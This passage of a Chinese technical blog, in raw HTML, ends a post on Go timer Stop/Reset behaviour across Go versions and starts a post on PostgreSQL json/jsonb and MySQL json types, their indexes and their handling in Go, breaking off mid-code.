class="keyword">if</span> !timer.Stop() &#123;</span><br><span class="line"> <span class="comment">// Stop 返回 false 说明计时器已经触发过、channel 里可能有值</span></span><br><span class="line"> <span class="comment">// Go 1.23+ 之后 channel 是同步的,不会有历史遗留的过期值,</span></span><br><span class="line"> <span class="comment">// 但为了兼容旧版本,drain 一下更保险</span></span><br><span class="line"> <span class="keyword">select</span> &#123;</span><br><span class="line"> <span class="keyword">case</span> &lt;-timer.C:</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> timer.Reset(<span class="number">5</span> * time.Second)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">select</span> &#123;</span><br><span class="line"> <span class="keyword">case</span> task := &lt;-workCh:</span><br><span class="line"> handle(task)</span><br><span class="line"> <span class="keyword">case</span> &lt;-timer.C:</span><br><span class="line"> fmt.Println(<span class="string">&quot;5秒内没有新任务,做一次心跳/清理&quot;</span>)</span><br><span class="line"> <span class="keyword">case</span> &lt;-ctx.Done():</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>关键点说明:</p><ol><li><p><strong><code>timer.Stop()</code> 的返回值</strong>:如果计时器已经到期或已被停止,返回 <code>false</code>,这时候 channel 里可能还留着一个未被读取的值(旧版本行为),需要手动 drain 掉再 Reset,否则下一次 select 可能立刻读到这个旧值。</p></li><li><p><strong>Go 1.23+ 的简化</strong>:由于 timer channel 现在是同步的,<code>Stop</code>&#x2F;<code>Reset</code> 返回后能保证不会再收到过期值,所以在新版本里,上面这段 drain 逻辑理论上可以省略,直接:</p></li></ol><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">timer.Reset(<span class="number">5</span> * time.Second)</span><br></pre></td></tr></table></figure><p>但如果你的代码库要兼容旧版本 Go,保留 drain 逻辑是更安全的写法。</p><ol start="3"><li><strong><code>defer timer.Stop()</code></strong>:即使 Go 1.23 之后未 Stop 的 timer 能被 GC,显式 Stop 依然是好习惯——能让底层的 timer 立刻从运行时的堆里摘除,而不是等 GC 扫描到。</li></ol><p>如果只是简单的&quot;一次性超时&quot;,不涉及循环复用,直接用 <code>time.After</code> 或者一次性的 <code>NewTimer</code> 就足够了,不需要这套 Reset 逻辑。</p><hr><p> <strong>Go 1.27 已经在 2026 年 8 月 19 日正式发布</strong>,而且这个版本里有个关键变化:<code>asynctimerchan</code> 这个 GODEBUG 开关被彻底移除了——也就是说 Go 1.23 引入的&quot;新计时器实现&quot;(可被 GC 回收 + 同步 channel)在 1.27 里变成了<strong>唯一行为</strong>,不再有任何回退旧实现的选项。</p><p>回到最初的问题:<strong>Stop() 还需要调用吗?——需要,而且仍然是最佳实践。</strong> 原因和&quot;会不会内存泄漏&quot;是两件事:</p><p><strong>1. GC 回收 ≠ 立即释放</strong><br>即使不 Stop,不再被引用的 timer 最终会被 GC 清理掉,但这依赖于 GC 扫描周期。如果你的程序创建 timer 很频繁,不 Stop 意味着这些对象要一直等到下一轮 GC 才能真正释放,期间仍然占用内存和运行时的计时器堆(timer heap)空间,增加不必要的 GC 压力。显式 Stop 能让资源立刻释放。</p><p><strong>2. Ticker 是完全不同的情况,必须 Stop</strong><br>这是最容易踩坑的地方。<code>Ticker</code> 会持续触发,只要它还被某个存活的 goroutine 引用(比如一个 <code>for { select { case &lt;-ticker.C: ... } }</code> 循环),它就是<strong>可达的</strong>,GC 根本不会回收它,会一直触发下去,浪费 CPU 唤醒和调度开销。Go 1.23+ 的自动回收解决的是&quot;对象不可达时被 GC 捡走&quot;,但只要 ticker 还在被使用中的 goroutine 持有,它就不会被自动回收——这种情况下不 Stop 就是真正的资源泄漏,和 Go 版本无关。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">poll</span><span class="params">()</span></span> &#123;</span><br><span class="line"> ticker := time.NewTicker(time.Second)</span><br><span class="line"> <span class="keyword">defer</span> ticker.Stop() <span class="comment">// 必须显式调用,否则 ticker 会一直运行下去</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> &#123;</span><br><span class="line"> <span class="keyword">select</span> &#123;</span><br><span class="line"> <span class="keyword">case</span> &lt;-ticker.C:</span><br><span class="line"> doSomething()</span><br><span class="line"> <span class="keyword">case</span> &lt;-done:</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>3. <code>AfterFunc</code> 场景下 Stop 直接影响程序逻辑</strong><br><code>time.AfterFunc</code> 到期后会在新 goroutine 里执行回调,如果你想在某个条件下取消这个回调执行,必须调用 Stop(),这和内存回收完全无关,是功能正确性问题。</p><p><strong>总结一句话</strong>:Go 1.27 把&quot;未 Stop 的 timer&#x2F;ticker 不会造成内存泄漏&quot;这件事变成了语言运行时的永久保证,你不再需要担心 <code>time.After</code> 在 <code>select</code> 里被跳过导致的经典泄漏。但 <strong>Stop() 依然是推荐的显式资源管理习惯</strong>——尤其是 <code>Ticker</code>,不 Stop 会导致它无限期继续触发,这跟 GC 能不能回收内存没有关系。简单说:一次性的 <code>Timer</code>&#x2F;<code>time.After</code> 现在&quot;忘记 Stop 问题不大&quot;,但 <code>Ticker</code> 永远要 Stop。</p>

PostgreSQL与MySQL的JSON类型及Go语言处理

2026-09-09 07:42:49

<img src="/2026/09/09/postgresql-mysql-json-types-go/image-20260908233846111.png" class=""><p>关系型数据库存 JSON 早就不稀奇了,但把它用对没那么简单。你得先分清 PostgreSQL 里 <code>json</code> 和 <code>jsonb</code> 到底差在哪、什么时候该建什么索引,再决定 Go 代码里怎么读写才不别扭。这篇就把这几件事讲清楚,代码都能直接抄进项目。</p><hr><h2 id="一、三种类型的本质区别"><a href="#一、三种类型的本质区别" class="headerlink" title="一、三种类型的本质区别"></a>一、三种类型的本质区别</h2><table><thead><tr><th>维度</th><th>PostgreSQL <code>json</code></th><th>PostgreSQL <code>jsonb</code></th><th>MySQL <code>json</code></th></tr></thead><tbody><tr><td>存储形式</td><td>原始文本(逐字节保存)</td><td>分解后的二进制</td><td>分解后的二进制</td></tr><tr><td>保留空格&#x2F;键序</td><td>保留</td><td>不保留</td><td>不保留</td></tr><tr><td>保留重复键</td><td>保留</td><td>只留最后一个</td><td>只留最后一个</td></tr><tr><td>写入速度</td><td>快(不解析)</td><td>稍慢(要解析)</td><td>稍慢(要解析)</td></tr><tr><td>查询速度</td><td>慢(每次重解析)</td><td>快</td><td>快</td></tr><tr><td>支持索引</td><td>否(需表达式索引)</td><td><strong>GIN 索引</strong></td><td>函数索引 &#x2F; 多值索引</td></tr><tr><td>去重&#x2F;规范化</td><td>否</td><td>是</td><td>是</td></tr><tr><td>一句话选型:</td><td></td><td></td><td></td></tr></tbody></table><ul><li><strong>PostgreSQL 绝大多数场景直接用 <code>jsonb</code></strong>。只有当你需要&quot;原样存回、包括空格和键顺序&quot;这种审计类需求时才用 <code>json</code>。</li><li><strong>MySQL 只有 <code>json</code> 一种</strong>(内部实现类似 jsonb,二进制存储、支持部分更新)。</li></ul><hr><span id="more"></span><h2 id="二、PostgreSQL-中的-json-与-jsonb"><a href="#二、PostgreSQL-中的-json-与-jsonb" class="headerlink" title="二、PostgreSQL 中的 json 与 jsonb"></a>二、PostgreSQL 中的 json 与 jsonb</h2><h3 id="2-1-建表与写入"><a href="#2-1-建表与写入" class="headerlink" title="2.1 建表与写入"></a>2.1 建表与写入</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> events (</span><br><span class="line"> id BIGSERIAL <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line"> payload JSONB <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT INTO</span> events (payload) <span class="keyword">VALUES</span></span><br><span class="line"> (<span class="string">&#x27;&#123;&quot;user&quot;: &quot;alice&quot;, &quot;tags&quot;: [&quot;go&quot;, &quot;db&quot;], &quot;score&quot;: 42&#125;&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="2-2-常用操作符"><a href="#2-2-常用操作符" class="headerlink" title="2.2 常用操作符"></a>2.2 常用操作符</h3><p>PostgreSQL 处理 JSON 靠的是一套操作符,比函数调用简洁得多:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- -&gt; 取子对象(返回 jsonb),-&gt;&gt; 取文本(返回 text)</span></span><br><span class="line"><span class="keyword">SELECT</span> payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- &quot;alice&quot;(带引号,jsonb)</span></span><br><span class="line"><span class="keyword">SELECT</span> payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;user&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- alice(纯文本)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 路径取值 #&gt; / #&gt;&gt;</span></span><br><span class="line"><span class="keyword">SELECT</span> payload #<span class="operator">&gt;&gt;</span> <span class="string">&#x27;&#123;tags, 0&#125;&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- go</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 包含判断 @&gt;(jsonb 专属,配合 GIN 索引极快)</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> payload @<span class="operator">&gt;</span> <span class="string">&#x27;&#123;&quot;user&quot;: &quot;alice&quot;&#125;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 键是否存在 ?(注意:? 只作用于「顶层」键)</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> payload ? <span class="string">&#x27;score&#x27;</span>;</span><br><span class="line"><span class="comment">-- 判断嵌套键,要先下钻到那一层再 ?</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;dimensions&#x27;</span> ? <span class="string">&#x27;weight&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 任一键存在 ?| / 所有键存在 ?&amp;</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> payload ?<span class="operator">|</span> <span class="keyword">array</span>[<span class="string">&#x27;score&#x27;</span>, <span class="string">&#x27;level&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 用 JSON 内的值做过滤:-&gt;&gt; 取出的是 text,需显式类型转换</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> (payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;score&#x27;</span>)::<span class="type">numeric</span> <span class="operator">&lt;</span> <span class="number">100</span>;</span><br></pre></td></tr></table></figure><blockquote><p>两个高频踩坑点:<code>?</code> 系列操作符只能匹配<strong>顶层键</strong>,判断嵌套键必须先用 <code>-&gt;</code> 下钻到对应层级;<code>-&gt;&gt;</code> 取出的值始终是 <code>text</code>,参与数值&#x2F;时间比较前要 <code>::numeric</code>、<code>::timestamptz</code> 等强制转换,否则要么报错、要么变成字符串比较。</p></blockquote><h3 id="2-3-索引"><a href="#2-3-索引" class="headerlink" title="2.3 索引"></a>2.3 索引</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 通用 GIN 索引,支持 @&gt; ? ?| ?&amp; 等</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_payload <span class="keyword">ON</span> events <span class="keyword">USING</span> GIN (payload);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- jsonb_path_ops:更小更快,但只支持 @&gt;</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_payload_path <span class="keyword">ON</span> events <span class="keyword">USING</span> GIN (payload jsonb_path_ops);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 针对单个字段的表达式 B-Tree 索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user <span class="keyword">ON</span> events ((payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;user&#x27;</span>));</span><br></pre></td></tr></table></figure><h3 id="2-4-修改与聚合"><a href="#2-4-修改与聚合" class="headerlink" title="2.4 修改与聚合"></a>2.4 修改与聚合</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 更新某个键(jsonb_set)</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> jsonb_set(payload, <span class="string">&#x27;&#123;score&#125;&#x27;</span>, <span class="string">&#x27;100&#x27;</span>) <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 删除键</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> payload <span class="operator">-</span> <span class="string">&#x27;tags&#x27;</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 合并两个 jsonb(|| 后者覆盖前者)</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="string">&#x27;&#123;&quot;a&quot;:1&#125;&#x27;</span>::jsonb <span class="operator">||</span> <span class="string">&#x27;&#123;&quot;b&quot;:2&#125;&#x27;</span>::jsonb; <span class="comment">-- &#123;&quot;a&quot;:1,&quot;b&quot;:2&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 展开数组元素</span></span><br><span class="line"><span class="keyword">SELECT</span> jsonb_array_elements_text(payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;tags&#x27;</span>) <span class="keyword">FROM</span> events;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- JSONPath(PG12+)</span></span><br><span class="line"><span class="keyword">SELECT</span> jsonb_path_query(payload, <span class="string">&#x27;$.tags[*] ? (@ == &quot;go&quot;)&#x27;</span>) <span class="keyword">FROM</span> events;</span><br></pre></td></tr></table></figure><hr><h2 id="三、MySQL-中的-json-类型"><a href="#三、MySQL-中的-json-类型" class="headerlink" title="三、MySQL 中的 json 类型"></a>三、MySQL 中的 json 类型</h2><p>MySQL 5.7 引入 <code>json</code>,8.0 大幅增强(多值索引、<code>-&gt;&gt;</code> 语法糖、部分更新优化)。</p><h3 id="3-1-建表与写入"><a href="#3-1-建表与写入" class="headerlink" title="3.1 建表与写入"></a>3.1 建表与写入</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> events (</span><br><span class="line"> id <span class="type">BIGINT</span> AUTO_INCREMENT <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line"> payload JSON <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT INTO</span> events (payload) <span class="keyword">VALUES</span></span><br><span class="line"> (<span class="string">&#x27;&#123;&quot;user&quot;: &quot;alice&quot;, &quot;tags&quot;: [&quot;go&quot;, &quot;db&quot;], &quot;score&quot;: 42&#125;&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-2-常用函数与路径"><a href="#3-2-常用函数与路径" class="headerlink" title="3.2 常用函数与路径"></a>3.2 常用函数与路径</h3><p>MySQL 走的是&quot;函数 + JSONPath&quot;路线,而非操作符:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 取值:JSON_EXTRACT 或 -&gt; 语法糖</span></span><br><span class="line"><span class="keyword">SELECT</span> JSON_EXTRACT(payload, <span class="string">&#x27;$.user&#x27;</span>) <span class="keyword">FROM</span> events; <span class="comment">-- &quot;alice&quot;</span></span><br><span class="line"><span class="keyword">SELECT</span> payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;$.user&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- &quot;alice&quot;</span></span><br><span class="line"><span class="keyword">SELECT</span> payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;$.user&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- alice(去引号,等价 JSON_UNQUOTE)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 数组元素</span></span><br><span class="line"><span class="keyword">SELECT</span> payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;$.tags[0]&#x27;</span> <span class="keyword">FROM</span> events; <span class="comment">-- go</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 是否包含</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> JSON_CONTAINS(payload, <span class="string">&#x27;&quot;alice&quot;&#x27;</span>, <span class="string">&#x27;$.user&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 路径是否存在</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> JSON_CONTAINS_PATH(payload, <span class="string">&#x27;one&#x27;</span>, <span class="string">&#x27;$.score&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 键集合 / 长度</span></span><br><span class="line"><span class="keyword">SELECT</span> JSON_KEYS(payload), JSON_LENGTH(payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;$.tags&#x27;</span>) <span class="keyword">FROM</span> events;</span><br></pre></td></tr></table></figure><h3 id="3-3-修改"><a href="#3-3-修改" class="headerlink" title="3.3 修改"></a>3.3 修改</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 设置(存在则改,不存在则加)</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> JSON_SET(payload, <span class="string">&#x27;$.score&#x27;</span>, <span class="number">100</span>) <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 仅新增(已存在不动) / 仅替换(不存在不加)</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> JSON_INSERT(payload, <span class="string">&#x27;$.level&#x27;</span>, <span class="number">5</span>);</span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> JSON_REPLACE(payload, <span class="string">&#x27;$.score&#x27;</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 删除</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> JSON_REMOVE(payload, <span class="string">&#x27;$.tags&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 数组追加</span></span><br><span class="line"><span class="keyword">UPDATE</span> events <span class="keyword">SET</span> payload <span class="operator">=</span> JSON_ARRAY_APPEND(payload, <span class="string">&#x27;$.tags&#x27;</span>, <span class="string">&#x27;sql&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 合并(保留两边所有值)</span></span><br><span class="line"><span class="keyword">SELECT</span> JSON_MERGE_PRESERVE(<span class="string">&#x27;&#123;&quot;a&quot;:1&#125;&#x27;</span>, <span class="string">&#x27;&#123;&quot;a&quot;:2&#125;&#x27;</span>); <span class="comment">-- &#123;&quot;a&quot;:[1,2]&#125;</span></span><br><span class="line"><span class="keyword">SELECT</span> JSON_MERGE_PATCH(<span class="string">&#x27;&#123;&quot;a&quot;:1&#125;&#x27;</span>, <span class="string">&#x27;&#123;&quot;a&quot;:2&#125;&#x27;</span>); <span class="comment">-- &#123;&quot;a&quot;:2&#125;(RFC 7396)</span></span><br></pre></td></tr></table></figure><h3 id="3-4-索引(虚拟列-多值索引)"><a href="#3-4-索引(虚拟列-多值索引)" class="headerlink" title="3.4 索引(虚拟列 &#x2F; 多值索引)"></a>3.4 索引(虚拟列 &#x2F; 多值索引)</h3><p>MySQL 不能直接给 JSON 列建索引,需借助<strong>生成列</strong>或 <strong>8.0 多值索引</strong>:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 方式一:生成列 + 普通索引</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> events</span><br><span class="line"> <span class="keyword">ADD</span> <span class="keyword">COLUMN</span> user_name <span class="type">VARCHAR</span>(<span class="number">64</span>)</span><br><span class="line"> <span class="keyword">AS</span> (payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;$.user&#x27;</span>) STORED,</span><br><span class="line"> <span class="keyword">ADD</span> INDEX idx_user (user_name);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方式二:函数索引(MySQL 8.0.13+)</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> events <span class="keyword">ADD</span> INDEX idx_score ((<span class="built_in">CAST</span>(payload <span class="operator">-</span><span class="operator">&gt;&gt;</span> <span class="string">&#x27;$.score&#x27;</span> <span class="keyword">AS</span> UNSIGNED)));</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 方式三:多值索引,专为 JSON 数组设计(8.0.17+)</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> events</span><br><span class="line"> <span class="keyword">ADD</span> INDEX idx_tags ((<span class="built_in">CAST</span>(payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;$.tags&#x27;</span> <span class="keyword">AS</span> <span class="type">CHAR</span>(<span class="number">32</span>) <span class="keyword">ARRAY</span>)));</span><br><span class="line"><span class="comment">-- 之后可用 MEMBER OF / JSON_CONTAINS 命中索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> events <span class="keyword">WHERE</span> <span class="string">&#x27;go&#x27;</span> <span class="keyword">MEMBER</span> <span class="keyword">OF</span> (payload <span class="operator">-</span><span class="operator">&gt;</span> <span class="string">&#x27;$.tags&#x27;</span>);</span><br></pre></td></tr></table></figure><hr><h2 id="四、Go-语言处理-JSON-列"><a href="#四、Go-语言处理-JSON-列" class="headerlink" title="四、Go 语言处理 JSON 列"></a>四、Go 语言处理 JSON 列</h2><p>Go 没有内建的 JSON 列类型,但也不需要。<code>database/sql</code> 留了两个口子:写的时候走 <code>driver.Valuer</code>,读的时候走 <code>sql.Scanner</code>。任何类型只要实现这两个接口,就能当 JSON 列用。下面从最省事的写法开始,逐步过渡到类型安全的方案。</p><h3 id="4-1-最简单:字符串进出"><a href="#4-1-最简单:字符串进出" class="headerlink" title="4.1 最简单:字符串进出"></a>4.1 最简单:字符串进出</h3><p>JSON 列本质是文本,可以直接用 <code>[]byte</code> &#x2F; <code>string</code> 读写:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> raw []<span class="type">byte</span></span><br><span class="line">err := db.QueryRow(<span class="string">&quot;SELECT payload FROM events WHERE id = $1&quot;</span>, <span class="number">1</span>).Scan(&amp;raw)</span><br><span class="line"><span class="comment">// raw 里就是 &#123;&quot;user&quot;:&quot;alice&quot;,...&#125;,再自行 json.Unmarshal</span></span><br></pre></td></tr></table></figure><p>写入同理,把 <code>json.Marshal</code> 的结果作为参数传进去即可。简单,但不够类型安全。</p><blockquote><p>小技巧:用 <code>json.RawMessage</code>(本质就是 <code>[]byte</code>)替代裸 <code>[]byte</code> 更语义化,还能延迟解析——先原样 <code>Scan</code> 出来,需要时再 <code>json.Unmarshal</code> 到目标 struct:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> raw json.RawMessage</span><br><span class="line">db.QueryRow(<span class="string">&quot;SELECT payload FROM events WHERE id = ?&quot;</span>, <span class="number">1</span>).Scan(&amp;raw)</span><br><span class="line"><span class="keyword">var</span> p Payload</span><br><span class="line">_ = json.Unmarshal(raw, &amp;p)</span><br></pre></td></tr></table></figure></blockquote><h3 id="4-2-推荐:自定义类型-Scanner-Valuer"><a href="#4-2-推荐:自定义类型-Scanner-Valuer" class="headerlink" title="4.2 推荐:自定义类型 + Scanner&#x2F;Valuer"></a>4.2 推荐:自定义类型 + Scanner&#x2F;Valuer</h3><p>把某个结构体或 map 直接映射成 JSON 列,最通用的写法是定义一个泛型包装器。下面的 <code>jsontype</code> <strong>是我们自己写的包</strong>(不是第三方库),你把它放进项目里任意一个目录即可;若不想自己维护,可直接跳到 4.6 用 GORM 的 <code>datatypes.JSONType[T]</code>。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> jsontype</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;database/sql/driver&quot;</span></span><br><span class="line"><span class="string">&quot;encoding/json&quot;</span></span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// JSON[T] 让任意类型 T 可直接作为 JSON/JSONB 列读写。</span></span><br><span class="line"><span class="keyword">type</span> JSON[T any] <span class="keyword">struct</span> &#123;</span><br><span class="line">Val T</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">New</span>[<span class="title">T</span> <span class="title">any</span>]<span class="params">(v T)</span></span> JSON[T] &#123; <span class="keyword">return</span> JSON[T]&#123;Val: v&#125; &#125;</span><br><span 